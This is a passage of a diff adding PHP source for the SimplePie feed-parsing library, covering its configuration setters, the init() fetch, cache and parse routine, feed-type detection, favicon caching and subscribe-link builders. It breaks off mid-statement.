http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_locator_class($class = 'SimplePie_Locator') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Locator')) + { + $this->locator_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for XML parsing. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_parser_class($class = 'SimplePie_Parser') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Parser')) + { + $this->parser_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for remote file fetching. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_file_class($class = 'SimplePie_File') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_File')) + { + $this->file_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for data sanitization. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_sanitize_class($class = 'SimplePie_Sanitize') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Sanitize')) + { + $this->sanitize =& new $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for handling feed items. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_item_class($class = 'SimplePie_Item') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Item')) + { + $this->item_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for handling author data. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_author_class($class = 'SimplePie_Author') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Author')) + { + $this->author_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for handling category data. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_category_class($class = 'SimplePie_Category') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Category')) + { + $this->category_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for feed enclosures. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_enclosure_class($class = 'SimplePie_Enclosure') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Enclosure')) + { + $this->enclosure_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for captions + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_caption_class($class = 'SimplePie_Caption') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Caption')) + { + $this->caption_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_copyright_class($class = 'SimplePie_Copyright') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Copyright')) + { + $this->copyright_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_credit_class($class = 'SimplePie_Credit') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Credit')) + { + $this->credit_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_rating_class($class = 'SimplePie_Rating') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Rating')) + { + $this->rating_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_restriction_class($class = 'SimplePie_Restriction') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Restriction')) + { + $this->restriction_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses for content-type sniffing. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Content_Type_Sniffer')) + { + $this->content_type_sniffer_class = $class; + return true; + } + return false; + } + + /** + * Allows you to change which class SimplePie uses item sources. + * Useful when you are overloading or extending SimplePie's default classes. + * + * @access public + * @param string $class Name of custom class. + * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation + * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation + */ + function set_source_class($class = 'SimplePie_Source') + { + if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Source')) + { + $this->source_class = $class; + return true; + } + return false; + } + + /** + * Allows you to override the default user agent string. + * + * @access public + * @param string $ua New user agent string. + */ + function set_useragent($ua = SIMPLEPIE_USERAGENT) + { + $this->useragent = (string) $ua; + } + + /** + * Set callback function to create cache filename with + * + * @access public + * @param mixed $function Callback function + */ + function set_cache_name_function($function = 'md5') + { + if (is_callable($function)) + { + $this->cache_name_function = $function; + } + } + + /** + * Set javascript query string parameter + * + * @access public + * @param mixed $get Javascript query string parameter + */ + function set_javascript($get = 'js') + { + if ($get) + { + $this->javascript = (string) $get; + } + else + { + $this->javascript = false; + } + } + + /** + * Set options to make SP as fast as possible. Forgoes a + * substantial amount of data sanitization in favor of speed. + * + * @access public + * @param bool $set Whether to set them or not + */ + function set_stupidly_fast($set = false) + { + if ($set) + { + $this->enable_order_by_date(false); + $this->remove_div(false); + $this->strip_comments(false); + $this->strip_htmltags(false); + $this->strip_attributes(false); + $this->set_image_handler(false); + } + } + + /** + * Set maximum number of feeds to check with autodiscovery + * + * @access public + * @param int $max Maximum number of feeds to check + */ + function set_max_checked_feeds($max = 10) + { + $this->max_checked_feeds = (int) $max; + } + + function remove_div($enable = true) + { + $this->sanitize->remove_div($enable); + } + + function strip_htmltags($tags = '', $encode = null) + { + if ($tags === '') + { + $tags = $this->strip_htmltags; + } + $this->sanitize->strip_htmltags($tags); + if ($encode !== null) + { + $this->sanitize->encode_instead_of_strip($tags); + } + } + + function encode_instead_of_strip($enable = true) + { + $this->sanitize->encode_instead_of_strip($enable); + } + + function strip_attributes($attribs = '') + { + if ($attribs === '') + { + $attribs = $this->strip_attributes; + } + $this->sanitize->strip_attributes($attribs); + } + + function set_output_encoding($encoding = 'UTF-8') + { + $this->sanitize->set_output_encoding($encoding); + } + + function strip_comments($strip = false) + { + $this->sanitize->strip_comments($strip); + } + + /** + * Set element/attribute key/value pairs of HTML attributes + * containing URLs that need to be resolved relative to the feed + * + * @access public + * @since 1.0 + * @param array $element_attribute Element/attribute key/value pairs + */ + function set_url_replacements($element_attribute = array('a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array('longdesc', 'src'), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite')) + { + $this->sanitize->set_url_replacements($element_attribute); + } + + /** + * Set the handler to enable the display of cached favicons. + * + * @access public + * @param str $page Web-accessible path to the handler_favicon.php file. + * @param str $qs The query string that the value should be passed to. + */ + function set_favicon_handler($page = false, $qs = 'i') + { + if ($page !== false) + { + $this->favicon_handler = $page . '?' . $qs . '='; + } + else + { + $this->favicon_handler = ''; + } + } + + /** + * Set the handler to enable the display of cached images. + * + * @access public + * @param str $page Web-accessible path to the handler_image.php file. + * @param str $qs The query string that the value should be passed to. + */ + function set_image_handler($page = false, $qs = 'i') + { + if ($page !== false) + { + $this->sanitize->set_image_handler($page . '?' . $qs . '='); + } + else + { + $this->image_handler = ''; + } + } + + /** + * Set the limit for items returned per-feed with multifeeds. + * + * @access public + * @param integer $limit The maximum number of items to return. + */ + function set_item_limit($limit = 0) + { + $this->item_limit = (int) $limit; + } + + function init() + { + // Check absolute bare minimum requirements. + if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre')) + { + return false; + } + // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader. + elseif (!extension_loaded('xmlreader')) + { + static $xml_is_sane = null; + if ($xml_is_sane === null) + { + $parser_check = xml_parser_create(); + xml_parse_into_struct($parser_check, '&', $values); + xml_parser_free($parser_check); + $xml_is_sane = isset($values[0]['value']); + } + if (!$xml_is_sane) + { + return false; + } + } + + if (isset($_GET[$this->javascript])) + { + SimplePie_Misc::output_javascript(); + exit; + } + + // Pass whatever was set with config options over to the sanitizer. + $this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class); + $this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen); + + if ($this->feed_url !== null || $this->raw_data !== null) + { + $this->data = array(); + $this->multifeed_objects = array(); + $cache = false; + + if ($this->feed_url !== null) + { + $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url); + // Decide whether to enable caching + if ($this->cache && $parsed_feed_url['scheme'] !== '') + { + $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); + } + // If it's enabled and we don't want an XML dump, use the cache + if ($cache && !$this->xml_dump) + { + // Load the Cache + $this->data = $cache->load(); + if (!empty($this->data)) + { + // If the cache is for an outdated build of SimplePie + if (!isset($this->data['build']) || $this->data['build'] !== SIMPLEPIE_BUILD) + { + $cache->unlink(); + $this->data = array(); + } + // If we've hit a collision just rerun it with caching disabled + elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) + { + $cache = false; + $this->data = array(); + } + // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL. + elseif (isset($this->data['feed_url'])) + { + // If the autodiscovery cache is still valid use it. + if ($cache->mtime() + $this->autodiscovery_cache_duration > time()) + { + // Do not need to do feed autodiscovery yet. + if ($this->data['feed_url'] === $this->data['url']) + { + $cache->unlink(); + $this->data = array(); + } + else + { + $this->set_feed_url($this->data['feed_url']); + return $this->init(); + } + } + } + // Check if the cache has been updated + elseif ($cache->mtime() + $this->cache_duration < time()) + { + // If we have last-modified and/or etag set + if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) + { + $headers = array(); + if (isset($this->data['headers']['last-modified'])) + { + $headers['if-modified-since'] = $this->data['headers']['last-modified']; + } + if (isset($this->data['headers']['etag'])) + { + $headers['if-none-match'] = '"' . $this->data['headers']['etag'] . '"'; + } + $file =& new $this->file_class($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen); + if ($file->success) + { + if ($file->status_code === 304) + { + $cache->touch(); + return true; + } + else + { + $headers = $file->headers; + } + } + else + { + unset($file); + } + } + } + // If the cache is still valid, just return true + else + { + return true; + } + } + // If the cache is empty, delete it + else + { + $cache->unlink(); + $this->data = array(); + } + } + // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it. + if (!isset($file)) + { + if (is_a($this->file, 'SimplePie_File') && $this->file->url === $this->feed_url) + { + $file =& $this->file; + } + else + { + $file =& new $this->file_class($this->feed_url, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen); + } + } + // If the file connection has an error, set SimplePie::error to that and quit + if (!$file->success && !($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) + { + $this->error = $file->error; + if (!empty($this->data)) + { + return true; + } + else + { + return false; + } + } + + if (!$this->force_feed) + { + // Check if the supplied URL is a feed, if it isn't, look for it. + $locate =& new $this->locator_class($file, $this->timeout, $this->useragent, $this->file_class, $this->max_checked_feeds, $this->content_type_sniffer_class); + if (!$locate->is_feed($file)) + { + // We need to unset this so that if SimplePie::set_file() has been called that object is untouched + unset($file); + if ($file = $locate->find($this->autodiscovery, $this->all_discovered_feeds)) + { + if ($cache) + { + $this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD); + if (!$cache->save($this)) + { + trigger_error("$this->cache_location is not writeable", E_USER_WARNING); + } + $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc'); + } + $this->feed_url = $file->url; + } + else + { + $this->error = "A feed could not be found at $this->feed_url"; + SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__); + return false; + } + } + $locate = null; + } + + $headers = $file->headers; + $data = $file->body; + $sniffer =& new $this->content_type_sniffer_class($file); + $sniffed = $sniffer->get_type(); + } + else + { + $data = $this->raw_data; + } + + // Set up array of possible encodings + $encodings = array(); + + // First check to see if input has been overridden. + if ($this->input_encoding !== false) + { + $encodings[] = $this->input_encoding; + } + + $application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'); + $text_types = array('text/xml', 'text/xml-external-parsed-entity'); + + // RFC 3023 (only applies to sniffed content) + if (isset($sniffed)) + { + if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') + { + if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) + { + $encodings[] = strtoupper($charset[1]); + } + $encodings = array_merge($encodings, SimplePie_Misc::xml_encoding($data)); + $encodings[] = 'UTF-8'; + } + elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') + { + if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) + { + $encodings[] = $charset[1]; + } + $encodings[] = 'US-ASCII'; + } + // Text MIME-type default + elseif (substr($sniffed, 0, 5) === 'text/') + { + $encodings[] = 'US-ASCII'; + } + } + + // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1 + $encodings = array_merge($encodings, SimplePie_Misc::xml_encoding($data)); + $encodings[] = 'UTF-8'; + $encodings[] = 'ISO-8859-1'; + + // There's no point in trying an encoding twice + $encodings = array_unique($encodings); + + // If we want the XML, just output that with the most likely encoding and quit + if ($this->xml_dump) + { + header('Content-type: text/xml; charset=' . $encodings[0]); + echo $data; + exit; + } + + // Loop through each possible encoding, till we return something, or run out of possibilities + foreach ($encodings as $encoding) + { + // Change the encoding to UTF-8 (as we always use UTF-8 internally) + if ($utf8_data = SimplePie_Misc::change_encoding($data, $encoding, 'UTF-8')) + { + // Create new parser + $parser =& new $this->parser_class(); + + // If it's parsed fine + if ($parser->parse($utf8_data, 'UTF-8')) + { + $this->data = $parser->get_data(); + if ($this->get_type() & ~SIMPLEPIE_TYPE_NONE) + { + if (isset($headers)) + { + $this->data['headers'] = $headers; + } + $this->data['build'] = SIMPLEPIE_BUILD; + + // Cache the file if caching is enabled + if ($cache && !$cache->save($this)) + { + trigger_error("$cache->name is not writeable", E_USER_WARNING); + } + return true; + } + else + { + $this->error = "A feed could not be found at $this->feed_url"; + SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__); + return false; + } + } + } + } + if(isset($parser)) + { + // We have an error, just set SimplePie_Misc::error to it and quit + $this->error = sprintf('XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column()); + } + else + { + $this->error = 'The data could not be converted to UTF-8'; + } + SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__); + return false; + } + elseif (!empty($this->multifeed_url)) + { + $i = 0; + $success = 0; + $this->multifeed_objects = array(); + foreach ($this->multifeed_url as $url) + { + if (SIMPLEPIE_PHP5) + { + // This keyword needs to defy coding standards for PHP4 compatibility + $this->multifeed_objects[$i] = clone($this); + } + else + { + $this->multifeed_objects[$i] = $this; + } + $this->multifeed_objects[$i]->set_feed_url($url); + $success |= $this->multifeed_objects[$i]->init(); + $i++; + } + return (bool) $success; + } + else + { + return false; + } + } + + /** + * Return the error message for the occured error + * + * @access public + * @return string Error message + */ + function error() + { + return $this->error; + } + + function get_encoding() + { + return $this->sanitize->output_encoding; + } + + function handle_content_type($mime = 'text/html') + { + if (!headers_sent()) + { + $header = "Content-type: $mime;"; + if ($this->get_encoding()) + { + $header .= ' charset=' . $this->get_encoding(); + } + else + { + $header .= ' charset=UTF-8'; + } + header($header); + } + } + + function get_type() + { + if (!isset($this->data['type'])) + { + $this->data['type'] = SIMPLEPIE_TYPE_ALL; + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'])) + { + $this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10; + } + elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'])) + { + $this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03; + } + elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'])) + { + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel']) + || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image']) + || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']) + || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput'])) + { + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_10; + } + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel']) + || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image']) + || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']) + || isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput'])) + { + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_090; + } + } + elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'])) + { + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL; + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) + { + switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) + { + case '0.91': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091; + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) + { + switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) + { + case '0': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE; + break; + + case '24': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND; + break; + } + } + break; + + case '0.92': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_092; + break; + + case '0.93': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_093; + break; + + case '0.94': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_094; + break; + + case '2.0': + $this->data['type'] &= SIMPLEPIE_TYPE_RSS_20; + break; + } + } + } + else + { + $this->data['type'] = SIMPLEPIE_TYPE_NONE; + } + } + return $this->data['type']; + } + + /** + * Returns the URL for the favicon of the feed's website. + * + * @todo Cache atom:icon + * @access public + * @since 1.0 + */ + function get_favicon() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif (($url = $this->get_link()) !== null && preg_match('/^http(s)?:\/\//i', $url)) + { + $favicon = SimplePie_Misc::absolutize_url('/favicon.ico', $url); + + if ($this->cache && $this->favicon_handler) + { + $favicon_filename = call_user_func($this->cache_name_function, $favicon); + $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, $favicon_filename, 'spi'); + + if ($cache->load()) + { + return $this->sanitize($this->favicon_handler . $favicon_filename, SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + $file =& new $this->file_class($favicon, $this->timeout / 10, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen); + + if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)) && strlen($file->body) > 0) + { + $sniffer =& new $this->content_type_sniffer_class($file); + if (substr($sniffer->get_type(), 0, 6) === 'image/') + { + if ($cache->save(array('headers' => $file->headers, 'body' => $file->body))) + { + return $this->sanitize($this->favicon_handler . $favicon_filename, SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + trigger_error("$cache->name is not writeable", E_USER_WARNING); + return $this->sanitize($favicon, SIMPLEPIE_CONSTRUCT_IRI); + } + } + // not an image + else + { + return false; + } + } + } + } + else + { + return $this->sanitize($favicon, SIMPLEPIE_CONSTRUCT_IRI); + } + } + return false; + } + + /** + * @todo If we have a perm redirect we should return the new URL + * @todo When we make the above change, let's support as well + * @todo Also, |atom:link|@rel=self + */ + function subscribe_url() + { + if ($this->feed_url !== null) + { + return $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + function subscribe_feed() + { + if ($this->feed_url !== null) + { + return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 2), SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + function subscribe_outlook() + { + if ($this->feed_url !== null) + { + return $this->sanitize('outlook' . SimplePie_Misc::fix_protocol($this->feed_url, 2), SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + function subscribe_podcast() + { + if ($this->feed_url !== null) + { + return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 3), SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + function subscribe_itunes() + { + if ($this->feed_url !== null) + { + return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 4), SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + /** + * Creates the subscribe_* methods' return data + * + * @access private + * @param string $feed_url String to prefix to the feed URL + * @param string $site_url String to prefix to the site URL (and + * suffix to the feed URL) + * @return mixed URL if feed exists, false otherwise + */ + function subscribe_service($feed_url, $site_url = null) + { + if ($this->subscribe_url()) + { + $return = $feed_url . rawurlencode($this->feed_url); + if ($site_url !== null && $this->get_link() !== null) + { + $return .= $site_url . rawurlencode($this->get_link()); + } + return $this->sanitize($return, SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + return null; + } + } + + function subscribe_aol() + { + return $this->subscribe_service('http://feeds.my.aol.com/add.jsp?url='); + } + + function subscribe_bloglines() + { + return $this->subscribe_service('http://www.bloglines.com/sub/'); + } + + function subscribe_eskobo() + { + return $this->subscribe_service('http://www.eskobo.com/?AddToMyPage='); + } + + function subscribe_feedfeeds() + { + return $this->subscribe_service('http://www.feedfeeds.com/add?feed='); + } + + function subscribe_feedster() + { + return $this->subscribe_service('http://www.feedster.com/myfeedster.php?action=addrss&confirm=no&rssurl='); + } + + function subscribe_google() + { + return $this->subscribe_service('http://fusion.google.com/add?feedurl='); + } + + function subscribe_gritwire() + { + return $this->subscribe_service('http://my.gritwire.com/feeds/addExternalFeed.aspx?FeedUrl='); + } + + function subscribe_msn() + { + return $this->subscribe_service('http://my.msn.com/addtomymsn.armx?id=rss&ut=', '&ru='); + } + + function subscribe_netvibes() + { + return $this->subscribe_service('http://www.netvibes.com/subscribe.php?url='); + } + + function subscribe_newsburst() + { + return $this->subscribe_service('http://www.newsburst.com/Source/?add='); + } + + function subscribe_newsgator() + { + return $this->subscribe_service('http://www.newsgator.com/ngs/subscriber/subext.aspx?url='); + } + + function subscribe_odeo() + { + return $this->subscribe_service('http://www.odeo.com/listen/subscribe?feed='); + } + + function subscribe_podnova() + { + return $this->subscribe_service('http://www.podnova.com/index_your_podcasts.srf?action=add&url='); + } + + function subscribe_rojo() + { + return $this->subscribe_service('http://www.rojo.com/add-subscription?resource='); + } + + function subscribe_yahoo() + { + return $this->subscribe_service('http://add.my.yahoo.com/rss?url='); + } + + function get_feed_tags($namespace, $tag) + { + $type = $this->get_type(); + if ($type & SIMPLEPIE_TYPE_ATOM_10) + { + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) + { + return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]; + } + } + if ($type & SIMPLEPIE_TYPE_ATOM_03) + { + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) + { + return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]; + } + } + if ($type & SIMPLEPIE_TYPE_RSS_RDF) + { + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) + { + return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]; + } + } + if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) + { + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) + { + return $this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]; + } + } + return null; + } + + function get_channel_tags($namespace, $tag) + { + $type = $this->get_type(); + if ($type & SIMPLEPIE_TYPE_ATOM_ALL) + { + if ($return = $this->get_feed_tags($namespace, $tag)) + { + return $return; + } + } + if ($type & SIMPLEPIE_TYPE_RSS_10) + { + if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel')) + { + if (isset($channel[0]['child'][$namespace][$tag])) + { + return $channel[0]['child'][$namespace][$tag]; + } + } + } + if ($type & SIMPLEPIE_TYPE_RSS_090) + { + if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel')) + { + if (isset($channel[0]['child'][$namespace][$tag])) + { + return $channel[0]['child'][$namespace][$tag]; + } + } + } + if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION) + { + if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'channel')) + { + if (isset($channel[0]['child'][$namespace][$tag])) + { + return $channel[0]['child'][$namespace][$tag]; + } + } + } + return null; + } + + function get_image_tags($namespace, $tag) + { + $type = $this->get_type(); + if ($type & SIMPLEPIE_TYPE_RSS_10) + { + if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image')) + { + if (isset($image[0]['child'][$namespace][$tag])) + { + return $image[0]['child'][$namespace][$tag]; + } + } + } + if ($type & SIMPLEPIE_TYPE_RSS_090) + { + if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image')) + { + if (isset($image[0]['child'][$namespace][$tag])) + { + return $image[0]['child'][$namespace][$tag]; + } + } + } + if ($type & 